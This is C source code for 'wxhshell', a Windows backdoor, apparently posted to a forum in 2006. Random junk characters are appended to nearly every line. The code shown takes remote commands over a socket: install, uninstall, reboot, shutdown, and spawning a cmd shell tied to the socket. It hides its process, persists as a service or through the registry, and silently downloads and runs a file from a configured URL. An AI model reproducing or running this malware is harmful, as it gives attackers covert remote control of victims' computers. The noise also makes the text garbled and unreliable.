  } 9P 7^*f:E  
  // 安装 AJJa<c+j  
  case 'i': { P #PRzt  
    if(Install()) K6BP~@H_D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }M0GPpv  
    else g]mR;T3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rYn)E=FG/  
    break; *ydh.R<hb  
    } s^vw]D  
  // 卸载 y' r I1eF  
  case 'r': { aS $ J `  
    if(Uninstall()) q RbU@o.3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4DTT/ER'qA  
    else C{<dzooz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +9fQ YJBA  
    break; f_m~_`m  
    } Uv|?@zy#  
  // 显示 wxhshell 所在路径 <0h,{28  
  case 'p': { ~!iZn  
    char svExeFile[MAX_PATH]; Acl?w }Y  
    strcpy(svExeFile,"\n\r"); r:~q{  
      strcat(svExeFile,ExeFile); +U^H`\EUr  
        send(wsh,svExeFile,strlen(svExeFile),0); V/dL-;W;  
    break; 7.W$6U5  
    } ahmxbv3f=5  
  // 重启 t`!@E#VK  
  case 'b': { oQ{ X2\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Pxy+W*t  
    if(Boot(REBOOT)) a<W.}0ZY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #*~3gMI{=  
    else { =3H*%  
    closesocket(wsh); $p)e.ZMgE  
    ExitThread(0); \; FE@  
    } hf1h*x^J  
    break; esk~\!d  
    } yBYZ?gc  
  // 关机 PHh4ZFl]_I  
  case 'd': { bQ`|G(g-d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TOge!Q>a  
    if(Boot(SHUTDOWN)) F`e o3z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a)qlrtCl  
    else { 9\S,$A{{*  
    closesocket(wsh); ,T;T %/ S  
    ExitThread(0); mJYG k_ua  
    } $MYAYj9r)  
    break; 0qSf7"3f  
    } &^hLFd7j/  
  // 获取shell !M(3[(Ni  
  case 's': { {+CBThC  
    CmdShell(wsh); 3jzmiS]  
    closesocket(wsh); C lWxL#L6~  
    ExitThread(0); gnWEsA\!  
    break; G]k+0&X  
  } i$jzn ga  
  // 退出 'S'Z-7h>0  
  case 'x': { #J`M R05  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @;b @O _  
    CloseIt(wsh); 9lR-  
    break; A2p]BW&  
    } ?C`&*+  
  // 离开 E06)&tF  
  case 'q': { mFx \[S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R\Of ,  
    closesocket(wsh); r-'CB  
    WSACleanup(); Xwz'h;Ks_  
    exit(1); /1z3Q_M  
    break; r=cm(AHF  
        } 9?Q0O\&uP  
  } Zk<Y+!  
  } E/ {v6S{)Y  
4OTrMT$y  
  // 提示信息 D0*+7n3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &,%+rvo}  
} +8Q5[lh2]j  
  } "Gc\"'^r  
DPBWw[  
  return; qL2Sv(A Z!  
} D^<5gRK?  
X ApSKJ  
// shell模块句柄 D&|HS!  
int CmdShell(SOCKET sock) 1`F25DhhY  
{ `+]e}*7$f  
STARTUPINFO si; XgPZcOzYB  
ZeroMemory(&si,sizeof(si)); Rxl/)H[Lc"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6 vr8rJ-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N@3&e;y  
PROCESS_INFORMATION ProcessInfo; Tr$37suF  
char cmdline[]="cmd"; 3hPp1wZd   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K0^Tg+U($p  
  return 0; `6FH@" |I  
} f =kt0  
[t+qYe8  
// 自身启动模式 0fAo&B  
int StartFromService(void) [{-5  
{ wCw_aXqq  
typedef struct ^<`uyY))Q  
{ 5]F4.sa  
  DWORD ExitStatus; HzZ.q2Zz%  
  DWORD PebBaseAddress; +Cs.v.GA5  
  DWORD AffinityMask; >goG\y  
  DWORD BasePriority; 9ohO-t$XkY  
  ULONG UniqueProcessId; vhz Q.>  
  ULONG InheritedFromUniqueProcessId; %h4|$  
}   PROCESS_BASIC_INFORMATION; 6e4A| <  
A(T=  
PROCNTQSIP NtQueryInformationProcess; sL4+O P-  
flS_rY5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :BVYS|%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J"?jaa2~  
Gi Max  
  HANDLE             hProcess; ~M9&SDT/lB  
  PROCESS_BASIC_INFORMATION pbi; ; -,VJCPi  
}c ,:uN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;wF)!d  
  if(NULL == hInst ) return 0; :IRQouTf:,  
TLT6z[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]>oI3&6s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v])R6-T-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JVq`v#8  
!HSX:qAP$  
  if (!NtQueryInformationProcess) return 0; PmlQW!gfBi  
6r}w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?V$@2vBVX4  
  if(!hProcess) return 0; :r+F95e  
J  7]LMw7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K?gO ]T{6  
#|;;>YnZ   
  CloseHandle(hProcess); 22gh,e2o  
6bd{3@   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N7#,x9+E  
if(hProcess==NULL) return 0; m4 :"c"  
jM;?);Dd  
HMODULE hMod; @i>o+>V  
char procName[255]; )O$T; U  
unsigned long cbNeeded; NzC&ctPk  
w(UZmZb}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oG' 'my#3  
=0mXTY1  
  CloseHandle(hProcess); A"Sp7M[J  
R~N'5#.*M  
if(strstr(procName,"services")) return 1; // 以服务启动 4$Ud4<  
2,e>gP\]  
  return 0; // 注册表启动 !DZ4C.  
} T~)zgu%q_  
+W#["%kw  
// 主模块 q|S,^0cU  
int StartWxhshell(LPSTR lpCmdLine) f1X]zk(=W  
{ yCZ[z A  
  SOCKET wsl; Vh8RVFi;c  
BOOL val=TRUE; ](SqLTB+?  
  int port=0; ]tc Cr;  
  struct sockaddr_in door; .y2np  
4]m?8j) 6b  
  if(wscfg.ws_autoins) Install(); r)Fd3)e   
wY_! s Qo  
port=atoi(lpCmdLine); g{^(EZ,  
4S*7*ak{  
if(port<=0) port=wscfg.ws_port; f\c%G=y  
b_GAK  
  WSADATA data; '[Z.\   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b*dEX%H8sf  
Lo uYY: Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Qvm[2mb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); * vP:+]  
  door.sin_family = AF_INET; M<cm]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w02t9vz  
  door.sin_port = htons(port); _0!<iN L  
[J+]1hCZ|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "Tc[1{eI  
closesocket(wsl); #b+>O+vx8  
return 1; "-A@d&5.  
} `!7QegJa"  
 !AFii:#  
  if(listen(wsl,2) == INVALID_SOCKET) { X DAwE  
closesocket(wsl); MB3 N3,yL  
return 1; C.Re*;EI,  
} A S]jJc^  
  Wxhshell(wsl); D}L4uz?  
  WSACleanup(); \!!1o+#1j  
0;:AT|U/d  
return 0; pb}4{]sI  
/V f L(  
} }W$}blbp  
xT;j_'9U;  
// 以NT服务方式启动 .R{+Pz D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Aj "SSX!L  
{ .q_SA-!w>  
DWORD   status = 0; HFTDea+#  
  DWORD   specificError = 0xfffffff; TDY =!  
C5&+1VrP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _Rey~]iJJ8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +8|r_z\A5a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I oFtfb[  
  serviceStatus.dwWin32ExitCode     = 0; vC_O! 2E  
  serviceStatus.dwServiceSpecificExitCode = 0; i=j4Wg,{J  
  serviceStatus.dwCheckPoint       = 0; .Af H>)E  
  serviceStatus.dwWaitHint       = 0; #Q$`3rr  
m`H9^w%W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QliP9-im3  
  if (hServiceStatusHandle==0) return; XaR(~2  
8b:\@]g$  
status = GetLastError(); wm s@1~I  
  if (status!=NO_ERROR) rK r2 K'  
{ IXt cHAgX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; OvtiFN^s'  
    serviceStatus.dwCheckPoint       = 0; =%R|@lz_x  
    serviceStatus.dwWaitHint       = 0; f f_| 3G  
    serviceStatus.dwWin32ExitCode     = status; $-;x8O]u  
    serviceStatus.dwServiceSpecificExitCode = specificError; A3mSSc6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k80!!S=_>  
    return; ;P2(C >|  
  } [Se0+\,&  
8!VF b+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6jo+i[h  
  serviceStatus.dwCheckPoint       = 0; u(P;) E"1  
  serviceStatus.dwWaitHint       = 0; <nE|Y@S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <n|.Z-gF\  
} Q5pm^X._j  
jN^09T49  
// 处理NT服务事件,比如:启动、停止 ~[9(}UM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :R9 DJh\  
{ /7-qb^V  
switch(fdwControl) AlQ  
{ B(U0 ~{7a  
case SERVICE_CONTROL_STOP: @AAkEWo)_  
  serviceStatus.dwWin32ExitCode = 0; 1PdxoRa4=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o;M-M(EZQ6  
  serviceStatus.dwCheckPoint   = 0; f+D a W  
  serviceStatus.dwWaitHint     = 0; ZeP3 Yjr3  
  { }t9A#GOz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9G=ZB^  
  } ky98Bz%  
  return; NP5;&}uv*!  
case SERVICE_CONTROL_PAUSE: >"z&KZKI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >Gyg`L\  
  break; 4E.K6=k|=a  
case SERVICE_CONTROL_CONTINUE: Il,^/qvIY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H-Z1i  
  break; HnmByn\j  
case SERVICE_CONTROL_INTERROGATE: <u85>x  
  break; 8/* 6&#-  
}; Hxzdxwz%$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hg=BXe4:  
} 1O]27"9  
F Wzf8*^  
// 标准应用程序主函数 C/je5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~'2im[f J  
{ Nd.Tda!Kg  
9XPQ1LSx  
// 获取操作系统版本 !%_H1jk  
OsIsNt=GetOsVer(); ua!g}m~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h2C1'+Q{9  
ljo^ 2  
  // 从命令行安装 2eh j2T  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3U73_=>=&  
$S0eERg a  
  // 下载执行文件 ooPH [p  
if(wscfg.ws_downexe) { $6]7>:8mz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N}2xt)JZz  
  WinExec(wscfg.ws_filenam,SW_HIDE); Fl^}tC  
} Y8yRQ zu  
!.ot&EbE  
if(!OsIsNt) { 3e.v'ccK&  
// 如果时win9x,隐藏进程并且设置为注册表启动 bs_"Nn?  
HideProc(); q$=EUB"C  
StartWxhshell(lpCmdLine); 4x JOPu  
} 4SqZ V  
else e!(0y)*  
  if(StartFromService()) fC4 D#  
  // 以服务方式启动 @|^2 +K/  
  StartServiceCtrlDispatcher(DispatchTable); \Ow-o0  
else bUp ,vc*  
  // 普通方式启动 (mJqI)m8  
  StartWxhshell(lpCmdLine); H.ZmLB  
,~_)Cf#CB  
return 0; F+@E6I'g  
}
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只看该作者 1 发表于: 2006-10-10
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